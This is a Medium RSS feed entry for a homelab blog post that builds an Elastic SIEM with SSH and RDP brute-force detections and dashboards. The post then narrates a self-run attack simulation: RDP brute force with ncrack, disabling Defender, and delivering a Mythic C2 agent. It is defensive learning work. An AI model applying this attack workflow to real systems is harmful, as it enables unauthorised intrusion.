<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by BlackXsec on Medium]]></title>
        <description><![CDATA[Stories by BlackXsec on Medium]]></description>
        <link>https://medium.com/@blackxsec?source=rss-82c3aba4bbc0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LURvF3JWhL_DSdZGMG2-_g.png</url>
            <title>Stories by BlackXsec on Medium</title>
            <link>https://medium.com/@blackxsec?source=rss-82c3aba4bbc0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 03:25:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@blackxsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Elastic Defend: Next‑generation Elasticsearch‑powered web application log monitoring and DFIR…]]></title>
            <link>https://medium.com/@blackxsec/elastic-defend-next-generation-elasticsearch-powered-web-application-log-monitoring-and-dfir-06235c9b5db6?source=rss-82c3aba4bbc0------2</link>
            <guid isPermaLink="false">https://medium.com/p/06235c9b5db6</guid>
            <category><![CDATA[kibana-alerting]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[elasticsearch]]></category>
            <dc:creator><![CDATA[BlackXsec]]></dc:creator>
            <pubDate>Sun, 09 Aug 2026 17:51:54 GMT</pubDate>
            <atom:updated>2026-08-09T17:51:54.560Z</atom:updated>
            <content:encoded><![CDATA[<h3>Elastic Defend: Next‑generation Elasticsearch‑powered web application log monitoring and DFIR platform.(Homelab)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bxqTs_QY5PQ_THJENu9GcA.jpeg" /></figure><h3>DAY 1</h3><p>Day 1 — understanding the logical topology of the machines we’ll be building in a cloud environment. I spent time going through how each component fits together: SIEM, agents, EDR, C2, ticketing system, and how they’re supposed to talk to each other. This gave me a clear mental map before spinning anything up.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*cwLAjZ33f5VylcGd.png" /></figure><h3>DAY2</h3><p>Day 2 — I already had some previous knowledge of the ELK Stack, so I skipped this video. It mostly covers how logs are parsed, different log types, visualization concepts, and filtering, which I was already familiar with.</p><h3>DAY3</h3><p>Day 3 — In the video, MyDFIR recommends using Vultr to take advantage of the free 300 USD credit for this project. I ran into issues with Vultr not accepting my PayPal and cards, so I switched to Oracle Cloud, which also offers 300 USD free credit for a month.</p><h3>INSTANCE SETTINGS:</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g0CjXBrX4zlcSGkv.png" /></figure><p>For the main cloud instance, I had to tweak the network settings so it could reach the internet properly.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*rjFvm-E0wy_aZbf1.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*B2UiwD8PWpJHDVXC.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GyDANG4AykvRoYxJ.png" /></figure><p>I downloaded Elasticsearch from Elastic’s official site:</p><h3><a href="https://www.elastic.co/downloads/elasticsearch?pg=global&amp;plcmt=nav&amp;cta=205352&amp;source=post_page-----b6ed57edef5c---------------------------------------">Download Elasticsearch</a></h3><h3><a href="https://www.elastic.co/downloads/elasticsearch?pg=global&amp;plcmt=nav&amp;cta=205352&amp;source=post_page-----b6ed57edef5c---------------------------------------">Download Elasticsearch or the complete Elastic Stack (formerly ELK stack) for free and start searching and analyzing in…</a></h3><p><a href="https://www.elastic.co/downloads/elasticsearch?pg=global&amp;plcmt=nav&amp;cta=205352&amp;source=post_page-----b6ed57edef5c---------------------------------------">www.elastic.co</a></p><p>After installation and configuration, I verified that Elasticsearch was running and reachable on the expected port.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*2AqRo_EuazrmcdTB.png" /></figure><h3>DAY4</h3><p>Day 4 — Downloading and setting up Kibana.</p><p>Again, I used the Elastic downloads page:</p><h3><a href="https://www.elastic.co/downloads/elasticsearch?pg=global&amp;plcmt=nav&amp;cta=205352&amp;source=post_page-----b6ed57edef5c---------------------------------------">Download Elasticsearch</a></h3><h3><a href="https://www.elastic.co/downloads/elasticsearch?pg=global&amp;plcmt=nav&amp;cta=205352&amp;source=post_page-----b6ed57edef5c---------------------------------------">Download Elasticsearch or the complete Elastic Stack (formerly ELK stack) for free and start searching and analyzing in…</a></h3><p><a href="https://www.elastic.co/downloads/elasticsearch?pg=global&amp;plcmt=nav&amp;cta=205352&amp;source=post_page-----b6ed57edef5c---------------------------------------">www.elastic.co</a></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*LCwdDR6777ML8Kqj.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7B-Oqjjx2SZQ58rT.png" /></figure><p>I configured Kibana to talk to my Elasticsearch instance and then added a firewall rule on the public subnet to allow access to the Kibana port from my machine. By the end of the day, I could access Kibana in the browser and start working with alerts.</p><h3>DAY5</h3><p>Day 5 — Setting up the windows server.</p><p>The topology was updated so that the Windows and Ubuntu servers are no longer inside a private-only network. For simplicity, I placed the Windows Server instance in a different subnet so that later, when accessing different endpoints, it would be easier to reason about traffic paths.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*b7YsB6w4n70_4rQC.png" /></figure><p>For this creating the Window Server instance, I just put it on a different subnet just to make it more simple when we will try and access different endpoints later on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/0*oHPovf1kOPPKI2ID.png" /></figure><p>Created firewall rules for the subnet for the servers. For it to be accessible from the ELK subnet, RDP, and Fleet Agent (for later on).</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*Q2hNiaI2xCgJrNIh.png" /></figure><p>Oracle provides the default username and password for the Windows VM. Once the instance was up and the rules were in place, I was able to RDP into it using the public IP.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m11lz3YnFPImHkrG.png" /></figure><h3>DAY6</h3><p>Day 6 — an explanation of what Beats, Elastic Agents, and the Fleet Server are, and how they fit into the Elastic ecosystem. This set the groundwork for the next steps.</p><h3>DAY7</h3><p>Day 7 — installing and deploying a Fleet Server, then connecting it to Elastic.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*scVHpFKTRJxS5Tc_.png" /></figure><p>Now to add the fleet server to elastic.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*-oQiwWFsqvDIGhMJ.png" /></figure><p>Also make sure to choose the correct architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/0*joNEs0spEFiW4jKY.png" /></figure><p>Should now have the fleet server connected.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*_CQxXdyCtbiWV9bt.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/0*mcQZdo0dNfM1hNPB.png" /></figure><p>Now to install an elastic agent on our Windows server.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*y3eadoZVVhSSqtTG.png" /></figure><p>Adding firewall rules to allow 8220 and 443 for the agent to be connected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/0*gLWbTbmMHnHxnN6u.png" /></figure><p>Still kept getting errors though, despite allowing the two ports and adding the public ip of the windows on the subnet firewall rules.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0wcTbt0C_FAICqWn.png" /></figure><p>Even after opening those ports and adding the Windows public IP to the subnet’s firewall rules, I kept getting connection errors. Checking the Fleet Server, it was running fine and port 8220 was open, which meant the problem was on the Windows side or in between.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*jeq1KcWSVeuoeA57.png" /></figure><p>I spent hours troubleshooting: changing firewall rules, allowing ports, even turning off the Windows firewall temporarily. In the end, the problem was actually on the Fleet Server host. iptables was configured to reject all traffic except SSH. To fix it, I explicitly allowed traffic on port 8220 in iptables.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*jHu6M8nfiMZtyl9T.png" /></figure><p>So to fix it I allowecd 8220.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*W8ldgrrcEUDKrGEx.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*cdLN72Cd92E4AQga.png" /></figure><p>By the end, both fleet and windows server should be available.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8UihdeHsdXnSChLe.png" /></figure><p>Having to troubleshoot for hours back and forth even with the help of AI. It was only due to iptables. I guess what I learned for today is to not ignore default configs that are set in place on machines.</p><h3>DAY8</h3><p>Day 8 — introduced Sysmon and the different Event IDs it can generate. This was mostly conceptual but important for understanding the telemetry we’d be working with later.</p><h3>DAY9</h3><p>Day 9 — installing Sysmon on the Windows Server.</p><p>The goal is to get much richer telemetry than the default Windows Event Logs provide. I used Sysinternals Sysmon:</p><h3><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon?source=post_page-----b6ed57edef5c---------------------------------------">Sysmon — Sysinternals</a></h3><h3><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon?source=post_page-----b6ed57edef5c---------------------------------------">Monitors and reports key system activity via the Windows event log.</a></h3><p><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon?source=post_page-----b6ed57edef5c---------------------------------------">learn.microsoft.com</a></p><h3><a href="https://github.com/olafhartong/sysmon-modular/blob/master/sysmonconfig.xml?source=post_page-----b6ed57edef5c---------------------------------------">sysmon-modular/sysmonconfig.xml at master · olafhartong/sysmon-modular</a></h3><h3><a href="https://github.com/olafhartong/sysmon-modular/blob/master/sysmonconfig.xml?source=post_page-----b6ed57edef5c---------------------------------------">A repository of sysmon configuration modules. Contribute to olafhartong/sysmon-modular development by creating an…</a></h3><p><a href="https://github.com/olafhartong/sysmon-modular/blob/master/sysmonconfig.xml?source=post_page-----b6ed57edef5c---------------------------------------">github.com</a></p><p>Olaf’s sysmon configuration will be used.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*Dzw56DrKTUuGRHyC.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/0*8J9Oglrt-L_Q2w0f.png" /></figure><p>To confirm sysmon is working it should appear on Event Viewer.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ef9NIYsXgY05Jiip.png" /></figure><p>After installation with the custom configuration, I verified that Sysmon events were appearing in Event Viewer. By the end of the day, Sysmon was installed and generating the expected events.</p><h3>DAY10</h3><p>Day 10 — ingesting Windows Defender and Sysmon logs into Elasticsearch.</p><p>First is to integrate the sysmon logs.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*46Le5CsnfRhEd3qD.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CLqfGUXHO3zeoS5-.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*58rMp6qO0UNwXXAR.png" /></figure><p>Now to integrate the windows defender logs as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/0*Qza5I86KDm11oR2W.png" /></figure><p>For the windows defender integration only Event ID: 1116,1117,5001 were added for malware detection and disabling of Windows Defender to make this lab easier.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MByfoVJwmEUZwPJB.png" /></figure><p>The Fleet UI started showing CPU and memory usage for the Windows Server. If that doesn’t show up, it usually means port 9200 or related connectivity is blocked.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*YF8H05GwDKC7-VXb.png" /></figure><p>In Discover, I filtered by event.provider and confirmed that both Sysmon and Windows Defender logs were being ingested.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/0*rintr1ajVvViqC0k.png" /></figure><p>Logs from sysmon and windows defender should be ingested by the end.</p><h3>DAY11</h3><p>Day 11 — introduction to brute force attacks: what they are, how they work, how to protect against them, and what tools are commonly used for brute forcing.</p><h3>DAY12</h3><p>Day 12 — Testing brute forcing and log reading on an Ubuntu machine.</p><p>I created another Ubuntu instance and exposed SSH (port 22). The idea is that internet bots constantly scan for hosts with port 22 open, so after a few minutes or hours, you should see random brute force attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/0*dsiM7fpPjsF7zXjf.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/0*1TlOWdDR-96NR4kh.png" /></figure><p>There are bots online that constantly scans IP addresses that have port 22 open. Now the idea is to wait a couple of minutes or hours for us to check if one tries to brute force logging in on our system.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hHahsB11L3MisuXV.png" /></figure><p>It only took a few minutes after starting the machine for bots to start trying SSH logins as root on different ports. By the end of the day, the Ubuntu machine was running, reachable via SSH, and clearly being probed from the internet.</p><h3>DAY13</h3><p>Day 13 — Installing an Elastic Agent on the Ubuntu Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*3KS7Q81_TevB-BCs.png" /></figure><p>For the integration policy, I made sure the log path was /var/log/auth.log, since that’s where Ubuntu stores auth logs by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*cihP_7AaIBp8xy0n.png" /></figure><p>Now to create a add a new agent with the policy we made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*8UoMY4eR-YZegoUW.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/0*yYIrzr7-XgMXfnvX.png" /></figure><p>When adding a new agent with this policy, the install command failed at first because of the self‑signed certificate. Adding the --insecure flag fixed that. I also had to uninstall and reinstall the agent at one point due to a misconfiguration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/0*Obxa0S5mSlYl0W6t.png" /></figure><p>The agent would need to be uninstalled before putting the command again.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jtA6l1cJmPORyU77.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/0*5RZDYDBytwrtag9j.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/0*0Nw6g8mDHse6LHT1.png" /></figure><p>Eventually, Discover showed three different agent.name values—Windows, Fleet Server, and the Ubuntu instance—confirming all agents were sending data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*XNgd4vtK3Y8v0h9-.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*hCnK8Pk6noG4YcrY.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/0*1tbbPFbJPW-g_BdF.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pef3-C7GL_X1aFYB.png" /></figure><p>I then filtered on the earlier brute force attempts and confirmed I could see those events in Elastic. By the end, the Elastic Agent on Ubuntu was working and parsing auth logs.</p><h3>DAY14</h3><p>Day 14 — Querying for ssh brute force attacks and making a dashboard for it.</p><p>Some of the logs generated on my Linux machine didn’t match the patterns in the video. The IP addresses weren’t parsed into source.ip and only appeared in the message field.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*x6jg_EUFFILS4Y8N.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cMVEW253p8Ismtp3.png" /></figure><p>Instead of clear “Failed password” messages, I sometimes just saw “authenticating,” so I had to adjust.</p><p>Because I couldn’t add new fields to the default data view, I duplicated it and used that copy to define custom fields.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*973j9MhvYjAwtl3m.png" /></figure><p>With the help of AI, I wrote a script to extract IP addresses from the message field into a custom field so I could treat them as proper IPs. That let me see all the IPs hitting my server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/0*Sg11ctxrxN5XVMCd.png" /></figure><p>So at least now I am able to see the different IP addresses that show up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/0*RYhHuuN1pVZMyMPS.png" /></figure><p>So now to create a filter for our dashboard, based on the different keywords on the events that were not parsed earlier.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gint19PutAp1pH63.png" /></figure><p>For detection, I crafted a custom filter to capture brute force‑like SSH activity while excluding my own legitimate logins:</p><pre>process.name : &quot;sshd&quot; and message : &quot;*[preauth]*&quot; and (message : &quot;Connection reset by*&quot; or message : &quot;Connection closed by*&quot; or message: &quot;Fail&quot; or message : &quot;Invalid user*&quot; ) and not message : &quot;*Accepted publickey*&quot;</pre><p>Since when I was trying to make it, looks like user.name also doesn’t even get parsed. So I will make a new field for it again.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/0*m5hzWS884EZrKVL2.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/0*LfwEOHFDw5QKfWvB.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*o1a8_RHCLDMZ4DhG.png" /></figure><p>To visualize where attacks came from, I created an ingest pipeline that enriches events with GeoIP based on the source IP. This required using grok to extract the IP into ssh_source_ip first, and then running GeoIP on that field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/0*HBUF7k-bLd_Hc9w0.png" /></figure><p>After some back and forth, everything parsed correctly, and by the end of the day I had a dashboard showing a map of SSH attempts and related tables.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0IW0DTvbJFdG4EUf.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JRdtZuLtECMeBHBn.png" /></figure><p>By the end, a dashboard for the map of SSH attempts should be done.</p><h3>DAY15</h3><p>Day 15 — introduction to Remote Desktop Protocol (RDP), Shodan, Censys, and different ways RDP can be abused or exposed, plus basic hardening guidance.</p><h3>DAY16</h3><p>Day 16 — Windows logs related to RDP.</p><p>The focus will be for window logs so I filetred for only Window logs.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X472Upq6LyT-WV2b.png" /></figure><p>I filtered Discover for only Windows logs and then zoomed in on possible failed login attempts, showing columns like timestamp, source.ip, and user.name. That let me see different IP addresses and user accounts involved in failures.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eB9JZ7IUWxGn5JwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/0*Q4gPyGjOul0jSqDR.png" /></figure><p>Now to create an alert for incase we detect IP addresses brute forcing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/0*0-fR7GnE0rNBP8FU.png" /></figure><p>To test my rules, I intentionally generated a few failed RDP logins from my own machine. Once alerts appeared, I adjusted them so they showed the right fields.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LanGb3sHsEw6P6Xk.png" /></figure><p>So checking on the alert generated.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vhxr_pl-8Lxxkr0A.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*Z7g7vXSTPOy3kYUq.png" /></figure><p>Since the alerts doesn’t really show the source IP and username, I then created rules for both SSH and RDP failed attempts, using my custom data view (with my custom fields) instead of the default index patterns.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*iGUkbVrpxex4-u97.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_QHGAMWVJXk2nweE.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0_dbDkuAZqhenb60.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gvaZ337tbLum6yKh.png" /></figure><p>By the end of the day, I had two alerting rules: one for SSH brute force attempts and one for RDP brute force attempts.</p><h3>DAY17</h3><p>Day 17 — visualizing RDP failures.</p><p>I created a new map for RDP failed attempts and updated my dashboard so it now has four maps and four tables:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TvlPUR0g_zs8NsQ-.png" /></figure><p>So now there should be 4 maps. I also added the Accepted SSHs activity since I forgot it last time.</p><ul><li>SSH failures</li><li>SSH successes</li><li>RDP failures</li><li>RDP successes</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TjZBUeRAIXHYfeda.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Be5BqdinN7tBWdWJ.png" /></figure><p>By the end we should have the dashboard updated with 4 maps and 4 tables of SSH and RDP Failed and Accepted Activity.</p><h3>DAY18</h3><p>Day 18 — introduced Command and Control (C2), different C2 tools and frameworks, and how attackers use them in real‑world operations.</p><h3>DAY19</h3><p>Day 19 — focused on creating an attack diagram to map out the plan from initial access all the way to data exfiltration.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*RrOPscQw6rVv3HKq.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*O-4hZ9X2-zPwfnhV.png" /></figure><p>The diagram broke down the steps we’d execute on later days. This helped me understand the flow: brute forcing, getting access, establishing persistence, running a C2 agent, and finally exfiltrating data. By the end of the day, the diagram was complete and I had a clear idea of the attack path we’d be simulating.</p><h3>DAY20</h3><p>Day 20 — deploying a Mythic C2 server in the cloud and installing Kali Linux on a local virtual machine.</p><p>I created a new VCN for the Mythic server to simulate it being in a separate, external network. I then installed Mythic using Docker and configured it to run.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LRxsGRUJVWc8Ku5o.png" /></figure><p>Now for installing and running mythic through a docker.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*igJVNJej2rvo-qB4.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*lBD4A-q_X56oJ2OM.png" /></figure><p>Next, I adjusted the subnet security rules so that only the Windows server, Ubuntu server, and my own machine could reach the Mythic server.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WOwGspZVUml26UtM.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*tATFuvYncFtU46r1.png" /></figure><p>There we go I now have access to the mythic server.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3P-AHxsQPDd-4ssc.png" /></figure><p>After fixing a few network issues, I was able to access Mythic’s web UI. By the end of the day, the Mythic server was fully deployed and accessible.</p><h3>DAY21</h3><p>Day 21 — carried out the steps in the attack diagram.</p><p>First step is to change the password of the Windows machine for testing the brute force later.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*pySEXGC47M0PHrqC.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/0*hJ-toiUSae2v3HzZ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/0*IrzVHMKPLA2o7TQk.png" /></figure><h3>Phase 1: RDP Brute Force</h3><p>I changed the Windows password so I could safely test brute forcing. I prepared a wordlist containing that password and adjusted the account lockout threshold, because the default lockout after a small number of attempts was killing the brute force.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/0*nbVqjicCB52nroaZ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*s4dtz3tuVtliq9Q8.png" /></figure><p>I had some issues with Crowbar and Hydra not clearly indicating if the password was cracked, so I moved to ncrack. Its output is noisy but it worked, and I was able to confirm that the password could be brute forced.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/0*RdcHNmWaAZZOHNoE.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/0*3_KIl0GzXDbYHf8n.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MKJeO6P5MFHZ5YRL.png" /></figure><h3>Phase 2: Discovery</h3><p>Once access was gained, I ran basic discovery commands from the compromised host to understand the environment (users, processes, network configuration, etc.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/0*wvbClMjHeefq0-P3.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/0*8UbuCGAQeneGI9MB.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/0*R2wH9ZjXXHxTINdO.png" /></figure><h3>Phase 3: Disable Windows Defender</h3><p>As part of simulating an attacker, I attempted to disable or weaken Windows Defender to make further actions stealthier.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*aytZ0A1AwHnDhBjm.png" /></figure><h3>Phase 4: Execution</h3><p>I installed the Mythic agent and configured it as a service. To deliver the agent binary, I hosted it on the Mythic server via HTTP using Python’s built‑in server. Before that, I opened the appropriate port with ufw and updated iptables, since Oracle Cloud seemed to ignore ufw alone.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*EgCbvBhqKOoO0kzz.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r80SP_u-4JJhGYQN.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iebttfULtDaiK7wx.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cii8VuusNvgwflZf.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yPsABPSLcspZ1Maq.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/0*0yZ-lrisTFkJCCyB.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/0*9UmPbaOBEF7V3aMb.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/0*U6KjukNHt54CeyzI.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*1RKa48vUi6Y2jSEE.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/0*M7DlEfWzvOwHpaFK.png" /></figure><p>Once everything was allowed through, the download and execution worked as expected. I re‑locked down port 80 afterward.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*ItXGWiudCJZo_YHW.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/0*9HCKe9xzYWQjq8Dj.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/0*3BP4ZcCOWGI4oBWX.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9EkwDyl6NSyHYXNU.png" /></figure><h3>Phase 5: Command &amp; Control</h3><p>At this point, the C2 communication was functioning. I could see the agent checking in and execute commands from Mythic.</p><p>Press enter or click to view image in full size</p><figure><img alt="" 